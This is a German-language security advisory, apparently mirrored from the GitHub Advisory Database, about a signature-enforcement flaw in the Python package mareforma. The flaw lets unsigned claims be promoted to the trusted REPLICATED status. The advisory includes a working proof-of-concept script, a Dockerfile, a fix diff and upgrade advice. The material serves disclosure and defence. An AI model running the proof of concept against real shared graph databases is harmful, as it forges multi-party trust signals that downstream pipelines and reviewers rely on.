Hoch

Mareforma: Nicht signierte Claims können durch fehlende Signaturerzwingung im Konvergenzpfad auf REPLICATED hochgestuft werden

  • Veröffentlicht: 19.11.2026
  • Aktualisiert: 20.11.2026 10:00

Zusammenfassung

mareforma 0.3.3 enthält eine kritische Integritätsschwachstelle in der REPLICATED-Konvergenzlogik (_maybe_update_replicated_unlocked() in mareforma/db/core.py:1300-1319). Die SQL-Abfrage zur Peer-Auswahl, die bestimmt, ob zwei unabhängige Claims für denselben Anker übereinstimmen, verifiziert nicht, ob einer der Claims eine gültige kryptografische Signatur von einem registrierten Prüferschlüssel trägt. Da rekor_enabled=False die Standardeinstellung ist und beim Einfügen automatisch transparency_logged=1 setzt, erfüllt jeder Claim – ob signiert oder nicht – sofort die Vorbedingung für die Konvergenz. Ein Angreifer ohne Mareforma-Schlüssel kann einen nicht signierten Claim in einen gemeinsamen Graphen schreiben, ihn mit einem legitimen signierten Peer-Claim konvergieren lassen und ihn auf den Status REPLICATED hochstufen. Die gefälschte Zeile REPLICATED wird anschließend von der standardmäßigen Vertrauensabfrage (graph.query(min_support="REPLICATED")) zurückgegeben, wodurch der Angreifer falsche Vertrauenssignale in nachgelagerte Systeme einschleusen kann, die sich auf REPLICATED als Zusicherung einer Mehrparteien-Validierung verlassen.

Details

Ursache — mareforma/db/core.py:1300-1319

Die Konvergenzfunktion _maybe_update_replicated_unlocked() wählt Peer-Claims über eine SQL-Abfrage aus, die nach status, unresolved, transparency_logged und artifact_hash filtert, jedoch kein Prädikat für signature_bundle oder die Identität registrierter Schlüssel enthält:

python
# mareforma/db/core.py:1300-1319
rows = conn.execute(
    f"""
    SELECT DISTINCT c.claim_id, c.generated_by
    FROM claims c, json_each(c.supports_json) j
    WHERE j.value IN ({placeholders})
      AND c.claim_id != ?
      AND c.generated_by != ?
      AND c.support_level != 'ESTABLISHED'
      AND c.status = 'open'
      AND c.unresolved = 0
      AND c.transparency_logged = 1
      AND (
          c.artifact_hash IS NULL
          OR ? IS NULL
          OR c.artifact_hash = ?
      )
    """,

Sobald Peer-Zeilen gesammelt wurden, stuft die Senke in core.py:1324-1334 alle übereinstimmenden Claim-IDs – einschließlich der des Angreifers – ohne weitere Überprüfung auf REPLICATED hoch.

Warum die Vorbedingungen trivial erfüllt werden

  1. transparency_logged = 1 wird automatisch gesetzt. Wenn rekor_enabled=False (Standard der Bibliothek), setzt core.py:1061 unmittelbar nach dem Einfügen transparency_logged = 1. Es gibt keinen Rekor-Schritt, sodass jeder Claim in dem Moment konvergenzfähig wird, in dem er geschrieben wird.
  2. require_signed=False ist der Standard. mareforma/__init__.py:41 setzt den Standardwert von require_signed auf False. Wenn der Angreifer den Graphen mit einem nicht vorhandenen Schlüsselpfad öffnet, setzt __init__.py:132-138 stillschweigend signer = None, wodurch das Einfügen nicht signierter Claims ermöglicht wird.
  3. assert_claim() führt keine Signaturprüfung durch. _graph.py:284-291 überprüft lediglich die DOI-Auflösung in der Liste supports, bevor vom Angreifer kontrollierte Felder an _db.add_claim() weitergeleitet werden (_graph.py:373-380).

Warum der gefälschte Claim in Vertrauensabfragen auftaucht

Der Standardabfragepfad in core.py:3647-3650 filtert nur Claims von PRELIMINARY heraus, deren Generator nicht registriert ist. Claims mit dem Status REPLICATED werden bedingungslos zurückgegeben, sodass die nicht signierte, gefälschte Zeile für nachgelagerte Verbraucher von einer legitim konvergierten Zeile nicht zu unterscheiden ist.

Die Hilfsfunktion, die hätte aufgerufen werden müssen

core.py:3661-3669 enthält _extract_signature_bundle_keyid(), womit die Schlüssel-ID aus einer signature_bundle extrahiert werden kann. Diese Hilfsfunktion existiert, wird jedoch auf dem Konvergenzpfad nie aufgerufen, was darauf hinweist, dass die Überprüfung versehentlich ausgelassen wurde und es sich nicht um eine Designentscheidung handelte.

Vollständiger Datenfluss (Quelle → Senke)

Schritt Ort Beschreibung
1 cli.py:700-739 CLI akzeptiert beliebige TEXT, --supports, --generated-by; Zeilen 720-723 erlauben ausdrücklich den ungesicherten/unsignierten Graph-Modus
2 __init__.py:128-138 Fehlende Schlüsseldatei → signer = None (kein Fehler ausgelöst)
3 _graph.py:284-291 assert_claim() leitet benutzergesteuerte supports erst nach DOI-Prüfung weiter
4 _graph.py:373-380 Ruft _db.add_claim() mit vom Angreifer kontrollierten Claim-Feldern auf
5 db/core.py:1208-1214 Konvergenz nach dem Einfügen wird ausgelöst, wenn unresolved == False und transparency_logged == 1
6 db/core.py:1300-1319 Peer-Auswahl-SQL – keine Prüfung auf signature_bundle oder registrierten Schlüssel (verwundbare Senke)
7 db/core.py:1324-1334 Aktualisiert Peer- und Angreifer-Claims auf REPLICATED
8 db/core.py:3647-3650 Standardabfrage gibt REPLICATED-Zeilen ohne Signaturvalidierung zurück

PoC

Voraussetzungen

bash
python3 -m venv /tmp/mareforma-poc
/tmp/mareforma-poc/bin/pip install mareforma==0.3.3

Oder führen Sie das in sich geschlossene Docker-Image aus:

bash
# Build (from the repository root, with the local repo mounted under ./repo)
docker build -f vuln-001/Dockerfile -t mareforma-vuln001 .

# Run (no network required)
docker run --rm --network none mareforma-vuln001

Schritt-für-Schritt-Angriff

python
#!/usr/bin/env python3
from pathlib import Path
from tempfile import TemporaryDirectory

import mareforma
from mareforma import signing

with TemporaryDirectory() as td:
    root = Path(td)
    key_path = root / "root-key.pem"

    # Step 1: Legitimate root agent bootstraps a key and creates an ESTABLISHED anchor.
    signing.bootstrap_key(key_path)
    with mareforma.open(root, key_path=key_path) as g:
        anchor = g.assert_claim(
            "established anchor",
            classification="DERIVED",
            generated_by="seed/root",
            seed=True,
        )
        # Step 2: Honest peer asserts a signed PRELIMINARY claim supporting the anchor.
        honest = g.assert_claim(
            "same result",
            supports=[anchor],
            generated_by="honest-agent",
        )

    # Step 3: Attacker opens the same graph with a non-existent key path.
    #         __init__.py:132-138 silently sets signer=None — unsigned mode.
    attacker_key = root / "missing-attacker-key.pem"  # does not exist
    with mareforma.open(root, key_path=attacker_key) as g:
        # Step 4: Attacker inserts an unsigned claim supporting the same anchor.
        #         Convergence fires in _maybe_update_replicated_unlocked():
        #           - Two claims share the same ESTABLISHED anchor
        #           - Different generated_by values
        #           - Both have transparency_logged=1 (Rekor disabled by default)
        #           - No signature or enrollment check performed
        attack = g.assert_claim(
            "forged convergence",
            supports=[anchor],
            generated_by="attacker-agent",
        )

        attack_info = g.get_claim(attack)
        print(attack_info["support_level"])          # → REPLICATED
        print(attack_info["signature_bundle"] is None)  # → True (unsigned)

        # Step 5: The unsigned REPLICATED claim appears in the default trust query.
        results = g.query(min_support="REPLICATED")
        for r in results:
            print((r["text"], r["support_level"],
                   r["signature_bundle"] is None, r["generator_enrolled"]))

Erwartete Ausgabe

REPLICATED
True
('established anchor', 'ESTABLISHED', False, True)
('forged convergence', 'REPLICATED', True, False)   # ← unsigned, unenrolled
('same result', 'REPLICATED', False, True)

Der gefälschte Claim (signature_bundle=None, generator_enrolled=False) wird auf REPLICATED hochgestuft und zusammen mit legitim signierten Claims zurückgegeben.

Behebung

Der Konvergenzpfad muss voraussetzen, dass sowohl der eingehende Claim als auch jeder ausgewählte Peer-Claim eine gültige signature_bundle trägt, die von einem eindeutigen, registrierten Validierungsschlüssel signiert wurde:

diff
--- a/mareforma/db/core.py
+++ b/mareforma/db/core.py
@@
-    new_status_row = conn.execute(
-        "SELECT status FROM claims WHERE claim_id = ?", (new_claim_id,),
+    new_status_row = conn.execute(
+        "SELECT status, signature_bundle FROM claims WHERE claim_id = ?",
+        (new_claim_id,),
     ).fetchone()
     if new_status_row is None or new_status_row["status"] != "open":
         return
+    from mareforma import validators as _validators
+    new_keyid = _extract_signature_bundle_keyid(new_status_row["signature_bundle"])
+    if new_keyid is None or not _validators.is_enrolled(conn, new_keyid):
+        return
@@
-        SELECT DISTINCT c.claim_id, c.generated_by
+        SELECT DISTINCT c.claim_id, c.generated_by, c.signature_bundle
@@
-    if not rows:
+    peer_ids = []
+    for row in rows:
+        peer_keyid = _extract_signature_bundle_keyid(row["signature_bundle"])
+        if peer_keyid is None or peer_keyid == new_keyid:
+            continue
+        if not _validators.is_enrolled(conn, peer_keyid):
+            continue
+        peer_ids.append(row["claim_id"])
+
+    if not peer_ids:
         return
 
-    peer_ids = [r["claim_id"] for r in rows] + [new_claim_id]
+    peer_ids = peer_ids + [new_claim_id]

Auswirkungen

Es handelt sich um eine Integritätsumgehung (CWE-347: Unzureichende Überprüfung kryptografischer Signaturen). REPLICATED ist das primäre Mehrparteien-Vertrauenssignal von mareforma, das belegen soll, dass mindestens zwei unabhängige, registrierte Validierer dasselbe Ergebnis unabhängig beobachtet und signiert haben. Durch die stillschweigende Umgehung der Signatur- und Registrierungsprüfungen im Konvergenzpfad ermöglicht die Bibliothek jedem lokalen Akteur – ganz ohne kryptografische Anmeldeinformationen –, dieses Vertrauenssignal zu fälschen.

Wer betroffen ist: Alle Benutzer oder Systeme, die einen mareforma-Graphen mit min_support="REPLICATED" abfragen und das Ergebnis als Beweis für eine Mehrparteien-Validierung behandeln. Dies betrifft automatisierte Pipelines, Prüf-Dashboards, Policy-Engines oder nachgelagerte Verbraucher, die sich auf den Status REPLICATED verlassen, um Vertrauensentscheidungen zu treffen (z. B. das Akzeptieren eines Datensatzes, die Freigabe eines Modellartefakts oder die Veröffentlichung eines Ergebnisses).

Da der gefälschte Claim in Abfrageergebnissen nicht von einem legitim konvergierten Claim zu unterscheiden ist, können Verbraucher den Angriff ohne Out-of-Band-Überprüfung der Felder signature_bundle und generator_enrolled nicht erkennen – Felder, die von der standardmäßigen Abfrageschnittstelle der Bibliothek nicht hervorgehoben werden.

Die Schwachstelle ist in der Standardkonfiguration ausnutzbar: require_signed=False, rekor_enabled=False. Der Angriff erfordert lediglich lokalen Schreibzugriff auf eine gemeinsam genutzte Graphdatenbank (z. B. ein gemeinsames Dateisystem oder einen beschreibbaren Netzwerk-Mount) und keinen Mareforma-Schlüssel.

Reproduktionsartefakte

Dockerfile

dockerfile
FROM python:3.12-slim

LABEL description="VULN-001 PoC: Unsigned Claims Promoted to REPLICATED (CWE-347)"
LABEL version="0.3.3"

WORKDIR /app

# Copy the local repository and install from source
COPY repo /app/repo
RUN pip install --no-cache-dir /app/repo

# Copy the proof-of-concept script
COPY vuln-001/poc.py /app/poc.py

CMD ["python3", "/app/poc.py"]

poc.py

python
#!/usr/bin/env python3
"""
VULN-001 Proof of Concept
Title: Unsigned Claims Promoted to REPLICATED via Missing Signature Enforcement
CWE-347: Improper Verification of Cryptographic Signature
CVSS: 7.1 (High) — CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

Root cause:
  _maybe_update_replicated_unlocked() in mareforma/db/core.py:1300-1319 selects
  peer claims for convergence without checking signature_bundle or enrolled-key
  identity. When rekor_enabled=False (the default), transparency_logged is set
  to 1 immediately (core.py:1061), so every claim—signed or not—is eligible for
  the convergence query. An attacker with no key can therefore write an unsigned
  claim that converges with a legitimate signed peer claim and is promoted to
  REPLICATED status. The forged REPLICATED row is then returned by the default
  query path (core.py:3647-3650) that only filters unenrolled PRELIMINARY claims.

Attack steps:
  1. Honest root agent bootstraps a key; auto-enrolls as root validator on first
     graph open; asserts an ESTABLISHED seed anchor claim.
  2. Honest agent asserts a signed PRELIMINARY peer claim supporting the anchor.
  3. Attacker opens the same graph WITHOUT any key (missing-key.pem does not
     exist → signer=None per __init__.py:132-138).
  4. Attacker asserts an unsigned PRELIMINARY claim supporting the same anchor.
  5. Convergence fires: two claims, same ESTABLISHED anchor, different
     generated_by, both have transparency_logged=1 (Rekor disabled).
  6. Both claims are promoted to REPLICATED. No signature check is performed.
  7. graph.query(min_support="REPLICATED") returns the unsigned forged claim.

Expected evidence (deterministic exit code 0):
  - attack claim support_level == "REPLICATED"
  - attack claim signature_bundle is None  (unsigned)
  - attack claim generator_enrolled == False
  - forged unsigned REPLICATED claim appears in query results
"""

import sys
from pathlib import Path
from tempfile import TemporaryDirectory

import mareforma
from mareforma import signing


SEPARATOR = "-" * 70


def banner(msg: str) -> None:
    print(f"\n{SEPARATOR}")
    print(f"  {msg}")
    print(SEPARATOR)


def main() -> int:
    print("VULN-001 PoC — Unsigned Claims Promoted to REPLICATED (CWE-347)")
    print(f"mareforma version: {mareforma.__version__}")

    with TemporaryDirectory() as td:
        root = Path(td)
        key_path = root / "root-key.pem"

        # ------------------------------------------------------------------
        # Step 1: Bootstrap a key for the legitimate root agent.
        #         On first graph open, this key auto-enrolls as the root
        #         validator, which is required for seed=True.
        # ------------------------------------------------------------------
        banner("Step 1: Bootstrap signing key for honest root agent")
        signing.bootstrap_key(key_path)
        print(f"  Key path : {key_path}")
        print(f"  Exists   : {key_path.exists()}")

        # ------------------------------------------------------------------
        # Step 2: Honest root agent creates an ESTABLISHED anchor.
        #         Uses seed=True, which requires an enrolled validator.
        #         The first open() with a fresh key auto-enrolls it.
        # ------------------------------------------------------------------
        banner("Step 2: Honest root agent — create ESTABLISHED anchor + signed peer claim")
        with mareforma.open(root, key_path=key_path) as g:
            anchor = g.assert_claim(
                "established anchor",
                classification="DERIVED",
                generated_by="seed/root",
                seed=True,
            )
            anchor_info = g.get_claim(anchor)
            print(f"  anchor claim_id     : {anchor}")
            print(f"  anchor support_level: {anchor_info['support_level']}")
            assert anchor_info["support_level"] == "ESTABLISHED", (
                f"Unexpected anchor level: {anchor_info['support_level']}"
            )

            # Honest agent adds a signed peer claim supporting the anchor.
            honest = g.assert_claim(
                "same result",
                supports=[anchor],
                generated_by="honest-agent",
            )
            honest_info = g.get_claim(honest)
            print(f"  honest claim_id     : {honest}")
            print(f"  honest support_level: {honest_info['support_level']}")
            print(f"  honest signed       : {honest_info['signature_bundle'] is not None}")

        # ------------------------------------------------------------------
        # Step 3: Attacker opens the graph with a non-existent key.
        #         __init__.py:132-138: missing file → signer=None (unsigned mode).
        # ------------------------------------------------------------------
        banner("Step 3: Attacker opens graph WITHOUT a key — unsigned mode")
        attacker_key = root / "missing-attacker-key.pem"
        print(f"  Attacker key path: {attacker_key}")
        print(f"  Attacker key exists: {attacker_key.exists()}  (intentionally absent)")

        with mareforma.open(root, key_path=attacker_key) as g:
            # Step 4: Attacker asserts an unsigned claim with the same anchor.
            #         Convergence logic fires: two claims, same ESTABLISHED
            #         anchor, different generated_by, both transparency_logged=1.
            banner("Step 4: Attacker inserts UNSIGNED claim — triggers convergence")
            attack = g.assert_claim(
                "forged convergence",
                supports=[anchor],
                generated_by="attacker-agent",
            )

            attack_info = g.get_claim(attack)
            attack_support_level = attack_info["support_level"]
            attack_unsigned = attack_info["signature_bundle"] is None
            attack_enrolled = attack_info.get("generator_enrolled", False)

            print(f"  attack claim_id       : {attack}")
            print(f"  attack support_level  : {attack_support_level}")
            print(f"  attack unsigned       : {attack_unsigned}  (signature_bundle is None)")
            print(f"  attack enrolled       : {attack_enrolled}")

            # Step 5: Verify the unsigned REPLICATED claim appears in the
            #         default query that consumers rely on for trust decisions.
            banner("Step 5: Query min_support='REPLICATED' — should include forged claim")
            results = g.query(min_support="REPLICATED")
            print(f"  Total REPLICATED results: {len(results)}")
            forged_in_results = False
            for r in results:
                is_forged = (
                    r["signature_bundle"] is None
                    and r.get("generator_enrolled") is False
                    and r["support_level"] == "REPLICATED"
                )
                marker = "  [FORGED]" if is_forged else "         "
                print(
                    f"{marker} text={r['text']!r:30s} "
                    f"level={r['support_level']:12s} "
                    f"unsigned={r['signature_bundle'] is None!s:5s} "
                    f"enrolled={r.get('generator_enrolled', '?')}"
                )
                if is_forged:
                    forged_in_results = True

        # ------------------------------------------------------------------
        # Verdict
        # ------------------------------------------------------------------
        banner("Verdict")
        conditions = {
            "attack claim support_level == REPLICATED": attack_support_level == "REPLICATED",
            "attack claim is UNSIGNED (signature_bundle is None)": attack_unsigned,
            "attack generator_enrolled == False": attack_enrolled is False,
            "forged REPLICATED claim visible in query results": forged_in_results,
        }
        all_pass = True
        for desc, result in conditions.items():
            status = "PASS" if result else "FAIL"
            print(f"  [{status}] {desc}")
            if not result:
                all_pass = False

        if all_pass:
            print(
                "\n  [CONFIRMED] VULN-001: unsigned claim promoted to REPLICATED.\n"
                "  An attacker without any key can forge graph trust.\n"
                "  The convergence path (core.py:1300-1319) does not check\n"
                "  signature_bundle or enrolled-key identity."
            )
            return 0
        else:
            print(
                "\n  [NOT TRIGGERED] One or more conditions failed.\n"
                "  Vulnerability may have been patched or env differs."
            )
            return 1


if __name__ == "__main__":
    sys.exit(main())

Was zu tun ist

Aktualisieren Sie auf Version 0.3.7 von mareforma oder neuer. Der Konvergenzpfad muss erzwingen, dass sowohl der eingehende Anspruch als auch jeder ausgewählte Peer-Anspruch eine gültige signature_bundle enthält, die von einem eindeutigen, registrierten Validierungsschlüssel signiert ist:

diff
--- a/mareforma/db/core.py
+++ b/mareforma/db/core.py
@@
-    new_status_row = conn.execute(
-        "SELECT status FROM claims WHERE claim_id = ?", (new_claim_id,),
+    new_status_row = conn.execute(
+        "SELECT status, signature_bundle FROM claims WHERE claim_id = ?",
+        (new_claim_id,),
     ).fetchone()
     if new_status_row is None or new_status_row["status"] != "open":
         return
+    from mareforma import validators as _validators
+    new_keyid = _extract_signature_bundle_keyid(new_status_row["signature_bundle"])
+    if new_keyid is None or not _validators.is_enrolled(conn, new_keyid):
+        return
@@
-        SELECT DISTINCT c.claim_id, c.generated_by
+        SELECT DISTINCT c.claim_id, c.generated_by, c.signature_bundle
@@
-    if not rows:
+    peer_ids = []
+    for row in rows:
+        peer_keyid = _extract_signature_bundle_keyid(row["signature_bundle"])
+        if peer_keyid is None or peer_keyid == new_keyid:
+            continue
+        if not _validators.is_enrolled(conn, peer_keyid):
+            continue
+        peer_ids.append(row["claim_id"])
+
+    if not peer_ids:
         return
 
-    peer_ids = [r["claim_id"] for r in rows] + [new_claim_id]
+    peer_ids = peer_ids + [new_claim_id]

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) mareforma >= 0.3.0, < 0.3.7 0.3.7

Verweise

CVSS-Wert 7.1/10
CVSS-Vektor
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
Schwäche (CWE)
CWE-347
Plattform
Python (PyPI)
Paket
mareforma
Veröffentlicht
19.11.2026
Aktualisiert
20.11.2026 10:00

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-8776-qf3h-26r3 - CC BY 4.0

Schwachstellenhistorie: mareforma

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
5
Erste → letzte
11.2026 11.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 2
  • Mittel 3

Veröffentlichungen pro Jahr

  1. 2026: 5
  1. Mareforma: Nicht signierte Claims können durch fehlende Signaturerzwingung im Konvergenzpfad auf REPLICATED hochgestuft werden dieser Eintrag
    Hoch · 7.1 CVE-2026-71535 >= 0.3.0, < 0.3.7 0.3.7
  2. Mittel CVE-2026-71534 >= 0.3.0, < 0.3.8 0.3.8
  3. Hoch CVE-2026-71536 >= 0.3.0, < 0.3.8 0.3.8
  4. Mittel CVE-2026-71533 >= 0.3.7, < 0.3.8 0.3.8

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.